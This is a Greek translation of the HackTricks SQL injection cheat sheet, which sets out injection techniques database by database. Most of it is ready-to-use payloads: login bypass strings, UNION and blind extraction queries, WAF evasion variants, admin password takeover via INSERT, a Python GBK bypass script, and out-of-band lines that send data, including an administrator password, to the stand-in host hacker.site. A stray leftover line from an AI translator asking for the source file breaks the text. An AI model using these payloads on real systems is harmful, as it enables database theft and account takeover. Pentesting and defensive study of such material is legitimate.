SQL Injection
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το SQL injection;
Ένα SQL injection είναι μια ευπάθεια ασφαλείας που επιτρέπει σε επιτιθέμενους να παρεμβαίνουν σε database queries μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει σε επιτιθέμενους να δούν, τροποποιήσουν, ή διαγράψουν δεδομένα στα οποία δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιωνδήποτε δεδομένων στα οποία έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής, ή ακόμη και σε συμβιβασμό του server ή denial of service.
Εντοπισμός σημείου εισόδου
Όταν ένας ιστότοπος φαίνεται να είναι vulnerable to SQL injection (SQLi) λόγω ασυνήθιστων server responses σε SQLi-related inputs, το πρώτο βήμα είναι να κατανοήσουμε πώς να inject data into the query without disrupting it. Αυτό απαιτεί να εντοπιστεί η μέθοδος για να escape from the current context αποτελεσματικά. Ακολουθούν μερικά χρήσιμα παραδείγματα:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Τότε, πρέπει να ξέρεις πώς να διορθώσεις το query ώστε να μην υπάρχουν σφάλματα. Για να διορθώσεις το query μπορείς να εισάγεις δεδομένα ώστε το προηγούμενο query να αποδεχτεί τα νέα δεδομένα, ή μπορείς απλώς να εισάγεις τα δεδομένα σου και να προσθέσεις ένα σύμβολο σχολίου στο τέλος.
Σημείωση: αν μπορείς να δεις μηνύματα σφάλματος ή να εντοπίσεις διαφορές όταν ένα query λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη.
Σχόλια
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Επιβεβαίωση με λογικές πράξεις
Μια αξιόπιστη μέθοδος για να επιβεβαιώσετε μια ευπάθεια SQL injection περιλαμβάνει την εκτέλεση μιας λογικής πράξης και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, μια παράμετρος GET όπως ?username=Peter που επιστρέφει το ίδιο περιεχόμενο όταν τροποποιηθεί σε ?username=Peter' or '1'='1 υποδεικνύει ευπάθεια SQL injection.
Παρομοίως, η χρήση μαθηματικών πράξεων λειτουργεί ως αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση σε ?id=1 και ?id=2-1 επιστρέφει το ίδιο αποτέλεσμα, αυτό υποδηλώνει ευπάθεια SQL injection.
Παραδείγματα που δείχνουν επιβεβαίωση με λογικές πράξεις:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να επιβεβαιώσει SQLinjections με τον προτεινόμενο τρόπο:
Πραγματικό SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Επιβεβαίωση με Χρονισμό
Σε ορισμένες περιπτώσεις δεν θα παρατηρήσετε καμία αλλαγή στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να discover blind SQL injections είναι να αναγκάσετε το DB να εκτελέσει ενέργειες που θα έχουν επίδραση στον χρόνο που χρειάζεται η σελίδα για να φορτώσει.
Για αυτό, θα concat στο SQL query μια λειτουργία που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Σε ορισμένες περιπτώσεις οι sleep functions δεν θα επιτρέπονται. Τότε, αντί να χρησιμοποιήσεις αυτές τις συναρτήσεις μπορείς να κάνεις το query να εκτελεί πολύπλοκες λειτουργίες που θα διαρκέσουν μερικά δευτερόλεπτα. Παραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (εφόσον υπάρχουν).
Εντοπισμός Back-end
Ο καλύτερος τρόπος για να εντοπίσεις το back-end είναι να προσπαθήσεις να εκτελέσεις συναρτήσεις των διαφορετικών back-ends. Μπορείς να χρησιμοποιήσεις τις sleep functions της προηγούμενης ενότητας ή αυτές εδώ (πίνακας από payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Επιπλέον, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, μπορείτε να το κάνετε να εκτυπώσει την έκδοση της βάσης δεδομένων.
Tip
Στη συνέχεια θα συζητήσουμε διαφορετικές μεθόδους για την εκμετάλλευση διαφορετικών τύπων SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.
Εντοπισμός με PortSwigger
SQL injection cheat sheet | Web Security Academy
Εκμετάλλευση Union Based
Εντοπισμός αριθμού στηλών
Αν μπορείτε να δείτε την έξοδο του ερωτήματος, αυτός είναι ο καλύτερος τρόπος για να τον εκμεταλλευτείτε.
Πρώτα απ’ όλα, πρέπει να βρούμε τον αριθμό των στηλών που επιστρέφει το αρχικό αίτημα. Αυτό συμβαίνει επειδή και τα δύο queries πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών.
Συνήθως χρησιμοποιούνται δύο μέθοδοι για αυτόν τον σκοπό:
Order/Group by
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, αυξήστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες ORDER BY ή GROUP BY μέχρι να ληφθεί μια μη έγκυρη (false) απάντηση. Παρά τις διαφορετικές λειτουργίες των GROUP BY και ORDER BY στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να διαπιστωθεί ο αριθμός των στηλών του ερωτήματος.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Επιλέξτε όλο και περισσότερες null τιμές μέχρι το query να είναι σωστό:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Πρέπει να χρησιμοποιείτε τιμές null καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του query πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση.
Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών
Στα επόμενα παραδείγματα θα ανακτήσουμε τα ονόματα όλων των βάσεων δεδομένων, το όνομα του πίνακα μιας βάσης δεδομένων και τα ονόματα των στηλών του πίνακα:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Υπάρχει διαφορετικός τρόπος να ανακαλύψεις αυτά τα δεδομένα σε κάθε διαφορετική βάση δεδομένων, αλλά η μεθοδολογία παραμένει πάντα η ίδια.
Εκμετάλλευση κρυφής Union Based
Όταν το output ενός query είναι ορατό, αλλά μια union-based injection φαίνεται ανέφικτη, αυτό υποδηλώνει την ύπαρξη ενός hidden union-based injection. Αυτό το σενάριο συχνά οδηγεί σε κατάσταση blind injection. Για να μετατρέψεις ένα blind injection σε union-based, πρέπει να διακριθεί το execution query που τρέχει στο backend.
Αυτό μπορεί να επιτευχθεί με τη χρήση blind injection τεχνικών σε συνδυασμό με τους default tables που είναι συγκεκριμένοι για τον στοχευόμενο Database Management System (DBMS). Για την κατανόηση αυτών των default tables, συνιστάται να συμβουλευτείς την τεκμηρίωση του στοχευόμενου DBMS.
Μόλις το query εξαχθεί, είναι απαραίτητο να προσαρμόσεις το payload σου ώστε να κλείσει με ασφάλεια το αρχικό query. Στη συνέχεια, μια union query προστίθεται στο payload σου, διευκολύνοντας την εκμετάλλευση του νεοαποκτηθέντος union-based injection.
For more comprehensive insights, refer to the complete article available at Healing Blind Injections.
Εκμετάλλευση Error based
Αν για κάποιο λόγο cannot see the output of the query αλλά μπορείς να see the error messages, μπορείς να χρησιμοποιήσεις αυτά τα error messages για να ex-filtrate δεδομένα από τη βάση δεδομένων.
Ακολουθώντας μια παρόμοια ροή όπως στην Union Based exploitation, θα μπορούσες να καταφέρεις να dump το DB.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Εκμετάλλευση Blind SQLi
Σε αυτή την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του query ή τα σφάλματα, αλλά μπορείτε να διακρίνετε πότε το query return μια true ή μια false απάντηση επειδή υπάρχει διαφορετικό περιεχόμενο στη σελίδα.
Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να dump τη βάση δεδομένων χαρακτήρα-χαρακτήρα:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Εκμετάλλευση Error Blind SQLi
Αυτή είναι η ίδια περίπτωση όπως πριν, αλλά αντί να διακρίνετε μεταξύ μιας true/false απάντησης από το query μπορείτε να διακρίνετε μεταξύ ενός σφάλματος στο SQL query ή όχι (ίσως επειδή ο HTTP server καταρρέει). Επομένως, σε αυτή την περίπτωση μπορείτε να αναγκάσετε ένα SQLerror κάθε φορά που μαντεύετε σωστά το char:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
Σε αυτή την περίπτωση δεν υπάρχει κανένας τρόπος να διακρίνεις την response του query με βάση το περιεχόμενο της σελίδας. Ωστόσο, μπορείς να κάνεις τη σελίδα να φορτώσει πιο αργά αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική να χρησιμοποιείται πριν, προκειμένου να confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Μπορείτε να χρησιμοποιήσετε stacked queries για να εκτελέσετε πολλαπλά queries διαδοχικά. Σημειώστε ότι ενώ οι επόμενες queries εκτελούνται, τα αποτελέσματα δεν επιστρέφονται στην εφαρμογή. Επομένως αυτή η τεχνική χρησιμοποιείται κυρίως σε σχέση με blind vulnerabilities όπου μπορείτε να χρησιμοποιήσετε ένα δεύτερο query για να προκαλέσετε ένα DNS lookup, conditional error, ή time delay.
Oracle δεν υποστηρίζει stacked queries. MySQL, Microsoft και PostgreSQL τα υποστηρίζουν: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Αν no-other exploitation method worked, μπορείτε να προσπαθήσετε να κάνετε τη database ex-filtrate τις πληροφορίες σε έναν external host που ελέγχετε. Για παράδειγμα, μέσω DNS queries:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Αυτοματοποιημένη Εκμετάλλευση
Δείτε το SQLMap Cheatsheet για να εκμεταλλευτείτε μια ευπάθεια SQLi με sqlmap.
Πληροφορίες ανά τεχνολογία
Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε μερικά ακόμη κόλπα ανάλογα με την τεχνολογία της βάσης δεδομένων σε αυτό το βιβλίο:
Επίσης θα βρείτε πολλά κόλπα για: MySQL, PostgreSQL, Oracle, MSSQL, SQLite και HQL στο https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Παράκαμψη Authentication
Λίστα προς δοκιμή για παράκαμψη της λειτουργίας login:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Αυτό το query επιδεικνύει μια ευπάθεια όταν η MD5 χρησιμοποιείται με true για raw output στους authentication checks, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Attackers μπορούν να εκμεταλλευτούν αυτό δημιουργώντας inputs που, όταν είναι hashed, παράγουν απρόσμενα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Συνιστώμενη λίστα:
Πρέπει να χρησιμοποιήσετε ως username κάθε γραμμή της λίστας και ως password πάντα: Pass1234.
(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρεται στην αρχή αυτής της ενότητας)
GBK Authentication Bypass
ΑΝ το ’ γίνεται escaped μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ’ γίνεται escaped θα δημιουργηθεί: 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python script:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert Statement
Τροποποίηση password υπάρχοντος αντικειμένου/χρήστη
Για να το πετύχετε πρέπει να προσπαθήσετε να create a new object named as the “master object” (πιθανότατα admin στην περίπτωση χρηστών) τροποποιώντας κάτι:
- Δημιουργήστε χρήστη με όνομα: AdMIn (κεφαλαία & πεζά γράμματα)
- Δημιουργήστε χρήστη με όνομα: admin=
- SQL Truncation Attack (όταν υπάρχει κάποιο είδος περιορισμού μήκους στο username ή email) –> Create user with name: admin [a lot of spaces] a
SQL Truncation Attack
Αν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το username είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη admin, δοκιμάστε να δημιουργήσετε ένα username “admin [30 spaces] a” και οποιονδήποτε κωδικό.
Η βάση δεδομένων θα ελέγξει αν το εισαγόμενο username υπάρχει στη βάση. Αν όχι, θα κοπεί το username στο μέγιστο επιτρεπτό πλήθος χαρακτήρων (σε αυτή την περίπτωση σε: “admin [25 spaces]”) και στη συνέχεια θα αφαιρέσει αυτόματα όλα τα κενά στο τέλος, ενημερώνοντας μέσα στη βάση τον χρήστη “admin” με τον νέο κωδικό (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν δούλεψε).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert time based checking
Προσθέστε όσα ','','' κρίνετε απαραίτητα για να βγείτε από το VALUES statement. Αν η καθυστέρηση εκτελεστεί, έχετε SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
Η ρήτρα ON DUPLICATE KEY UPDATE στο MySQL χρησιμοποιείται για να προσδιορίσει ενέργειες που θα εκτελέσει η βάση δεδομένων όταν επιχειρείται η εισαγωγή μιας εγγραφής που θα προκαλούσε διπλότυπη τιμή σε έναν δείκτη UNIQUE ή PRIMARY KEY. Το ακόλουθο παράδειγμα δείχνει πώς αυτό το χαρακτηριστικό μπορεί να εκμεταλλευτεί για να αλλάξει τον κωδικό πρόσβασης ενός λογαριασμού διαχειριστή:
Example Payload Injection:
Ένα injection payload μπορεί να συναρμολογηθεί ως εξής, όπου επιχειρείται η εισαγωγή δύο γραμμών στον πίνακα users. Η πρώτη γραμμή είναι αποπροσανατολιστική, και η δεύτερη στοχεύει το email ενός υπάρχοντος διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
Here’s how it works:
- Το query προσπαθεί να εισάγει δύο εγγραφές: μία για
generic_user@example.comκαι μία γιαadmin_generic@example.com. - Εάν η εγγραφή για
admin_generic@example.comυπάρχει ήδη, η πρότασηON DUPLICATE KEY UPDATEενεργοποιείται, υποδεικνύοντας στο MySQL να ενημερώσει το πεδίοpasswordτης υπάρχουσας εγγραφής σε “bcrypt_hash_of_newpassword”. - Συνεπώς, μπορεί να επιχειρηθεί έλεγχος ταυτότητας χρησιμοποιώντας
admin_generic@example.comμε τον κωδικό που αντιστοιχεί στο bcrypt hash (“bcrypt_hash_of_newpassword” αντιπροσωπεύει το bcrypt hash του νέου κωδικού, το οποίο πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού).
Εξαγωγή πληροφοριών
Δημιουργία 2 λογαριασμών ταυτόχρονα
Κατά την προσπάθεια δημιουργίας νέου χρήστη απαιτούνται όνομα χρήστη, κωδικός και email:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Χρήση δεκαδικών ή δεκαεξαδικών
Με αυτή την τεχνική μπορείς να εξάγεις πληροφορίες δημιουργώντας μόνο 1 λογαριασμό. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να σχολιάσεις τίποτα.
Χρησιμοποιώντας hex2dec και substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Δεν έχω πρόσβαση στο τοπικό σου σύστημα. Παρακαλώ επικόλλησε εδώ το περιεχόμενο του αρχείου src/pentesting-web/sql-injection/README.md ή δώσε οδηγίες πώς να το ανακτήσω. Θα το μεταφράσω στα Ελληνικά διατηρώντας ακέραιη τη markdown/HTML σύνταξη και τις οδηγίες που έδωσες.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Χρησιμοποιώντας hex και replace (και substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection είναι μια περίπτωση όπου το ερώτημα στο οποίο γίνεται injection δεν είναι αυτό που παράγει την έξοδο· αντίθετα, η έξοδος του ερωτήματος που δέχεται injection τροφοδοτεί το ερώτημα που παράγει την έξοδο. (From Paper)
Παράδειγμα:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass χρησιμοποιώντας εναλλακτικά κενά
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - bypass χρησιμοποιώντας σχόλια
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - bypass χρησιμοποιώντας παρενθέσεις
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass με χρήση OFFSET, FROM και JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Γενικά Bypasses
Blacklist χρησιμοποιώντας keywords - bypass χρησιμοποιώντας uppercase/lowercase
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist που χρησιμοποιεί keywords χωρίς διάκριση πεζών/κεφαλαίων - παράκαμψη χρησιμοποιώντας ισοδύναμο τελεστή
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Επιστημονική σημειογραφία WAF bypass
Μπορείτε να βρείτε μια πιο αναλυτική εξήγηση αυτού του κόλπου στο gosecure blog.
Βασικά μπορείτε να χρησιμοποιήσετε την επιστημονική σημειογραφία με απροσδόκητους τρόπους για να bypass το WAF:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Παράκαμψη Περιορισμού Ονομάτων Στηλών
Πρώτα απ’ όλα, σημειώστε ότι αν το αρχικό query και ο πίνακας από τον οποίο θέλετε να εξάγετε το flag έχουν τον ίδιο αριθμό στηλών μπορείτε απλώς να κάνετε: 0 UNION SELECT * FROM flag
Είναι δυνατό να προσπελάσετε την τρίτη στήλη ενός πίνακα χωρίς να χρησιμοποιήσετε το όνομά της χρησιμοποιώντας ένα query όπως το παρακάτω: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, επομένως σε μια sqlinjection αυτό θα μοιάζει με:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Ή χρησιμοποιώντας ένα comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Αυτό το trick έχει ληφθεί από https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection σε SELECT list μέσω subqueries
Αν το user input συνενωθεί στο SELECT list ή σε table/column identifiers, τα prepared statements δεν θα βοηθήσουν επειδή τα bind parameters προστατεύουν μόνο τις τιμές, όχι τα identifiers. Ένα κοινό ευάλωτο μοτίβο είναι:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Ιδέα εκμετάλλευσης: εισαγάγετε ένα subquery στη θέση του πεδίου για να εξαγάγετε αυθαίρετα δεδομένα:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Σημειώσεις:
- Αυτό λειτουργεί ακόμη και όταν το WHERE clause χρησιμοποιεί bound parameter, επειδή το identifier list εξακολουθεί να είναι string-concatenated.
- Κάποια stacks επιπλέον επιτρέπουν να ελέγξετε το table name (tablename injection), επιτρέποντας cross-table reads.
- Τα Output sinks μπορεί να αντικατοπτρίσουν την επιλεγμένη τιμή στο HTML/JSON, επιτρέποντας XSS ή token exfiltration απευθείας από το response.
Αντιμετώπιση:
- Μην concatenάρετε ποτέ identifiers από user input. Αντιστοιχίστε τα επιτρεπόμενα column names σε μια σταθερή allow-list και quote-άρετε τα identifiers σωστά.
- Αν απαιτείται δυναμική πρόσβαση σε πίνακες, περιορίστε την σε ένα πεπερασμένο σύνολο και επιλύστε server-side από ένα ασφαλές mapping.
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
Some frameworks convert structured filter ASTs into raw SQL boolean fragments (e.g., metadata filters or JSON predicates) and then string-concatenate those fragments into larger queries. If the converter wraps string values as '%s' without escaping, a single quote in user input terminates the literal and the rest is parsed as SQL.
Παράδειγμα μοτίβου (εννοιολογικό):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → αποκωδικοποιημένο: ' OR '1'='1 → η συνθήκη γίνεται:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / identifier-based SQLi (PDO περιορισμός)
